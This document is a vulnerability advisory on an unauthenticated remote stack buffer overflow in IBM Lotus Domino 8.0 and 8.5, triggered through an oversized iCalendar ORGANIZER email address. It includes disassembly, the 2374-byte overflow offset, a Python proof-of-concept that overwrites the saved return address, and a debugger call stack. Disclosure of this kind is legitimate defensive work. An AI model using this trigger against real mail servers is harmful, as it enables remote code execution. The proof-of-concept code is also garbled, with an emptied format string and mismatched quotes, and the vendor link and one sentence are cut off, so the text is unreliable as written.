IBM Lotus Domino iCalendar - Email Address Stack Buffer Overflow








IBM Lotus Domino iCalendar Email Address Stack Buffer Overflow Vulnerability

Package Name:       Lotus Domino Server
Date Reported:      2010-01-09
Affected Versions:  Versions 8.0 and 8.5 on AIX, AIX 64bit, Linux, Linux iSeries, Linux
                    zSeries, Solaris, Windows, Windows 64bit, z/OS
CVE Reference       Not Yet Assigned
Author              A. Plaskett
Severity            High Risk
Local/Remote        Remote
Impact              The vulnerability would enable an attacker to execute arbitrary code
                    on the system in the context of the currently executing nrouter process.
Vulnerability Class Stack based buffer overflow
Vendor URL
Version             8.0, 8.5
Vendor Response     A patch is available from: http://www-

An unauthenticated remote code execution vulnerability was identified in the code
handling the conversion and checking of an iCalendar email address parameter. An
overly large email address string can lead to the overflow of a stack allocated buffer
due to insufficient bounds checking when a CStrcpy (string copy) is performed. A
remote, unauthenticated attacker could execute code in the context of the Lotus
Domino server process (nrouter.exe) by sending a specially crafted malicious email
to the Lotus Domino SMTP server.

Technical Background
The vulnerability exists due to a lack of bounds checking performed in the function
“nnotes!MailCheck821Address” before performing a string copy operation (Cstrcpy).

.text:602738F7                   push     esi
.text:602738F8                   push     edx
.text:602738F9                   call     Cstrcpy

The ESI register holds the source address of the copy, which is read from the
iCalendar email and so is under an attacker’s control. The EDX register holds the
address of the fixed size stack buffer.

Consequently, the Cstrcpy operation can be passed a string which overflows the
fixed size stack based buffer and causes memory corruption. This memory corruption
can be used to hijack the flow of execution of the program and execute arbitrary

Exploit Information
An attacker could exploit this vulnerability by crafting an email containing an
iCalendar with an email address string which is sufficiently long to overwrite stack
based variables and also overwrite the saved return address which is stored in the
stack frame (the required string length being 2374 bytes). The attacker could then
pass an address which would be used to overwrite the saved return address. When
the function returns, the return address is popped off the stack and loaded into the
EIP (Extended Instruction Pointer) register. At this point, the attacker has full control
over the execution of the program and can execute their desired code.

The following proof of concept Python code excerpt can be used to trigger the
vulnerability with the malicious ORGANIZER mailto address:

ret_address = “BBBB”
overflow = ("A" * 2374) + ret_address + ("C" * 6632)
organiser = "" % overflow
body = "Content-Type: text/calendar; method=COUNTER; charset="UTF-8"
Subject: sent_mail2.txt
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
“”” % organiser

If this email is delivered to a Lotus Domino SMTP server, nrouter will perform the
following calls: -

0833519c 60ca844c 094dddb8 nnotes!MailCheck821Address+0xb07
0833519c 00000019 083200f8 nnotes!Note2iCal+0x1c25c
0000000a 083200f8 094de824 nnotes!iCal2NotesExtract+0x247
000000c7 06e41f62 083210ac nRouter+0x3ee9e
00000063 000000c7 06e41f62 nRouter+0x3f1cd
02a19f58 00000000 000000c7 nRouter+0x1c433
004673a0 00000000 03f23325 nRouter+0x1ddd0
004673a0 21700001 00000001 nRouter+0x1e3a5
029b0000 00000000 00000000 nRouter+0x1e6ed
00000000 094dffd4 7751b3f5 nnotes!OSProcessIsGUI+0xef
00000000 7e454e05 00000000 kernel32!BaseThreadInitThunk+0x12
600fe640 00000000 00000000 ntdll!RtlInitializeExceptionChain+0x63
600fe640 00000000 00000000 ntdll!RtlInitializeExceptionChain+0x36

Leading to the incorrectly bounded Cstrcpy function being called and the return
address being overwritten with 42424242, which will then be loaded into the EIP
register. At this point the attacker has full control over the flow of execution of the
program (nrouter.exe).

In order to exploit this vulnerability an attacker would need to know the email
address of a valid Lotus Domino mailbox account. It should be noted, however, that
no user interaction is required for the vulnerability to be triggered (nrouter will
process the email automatically).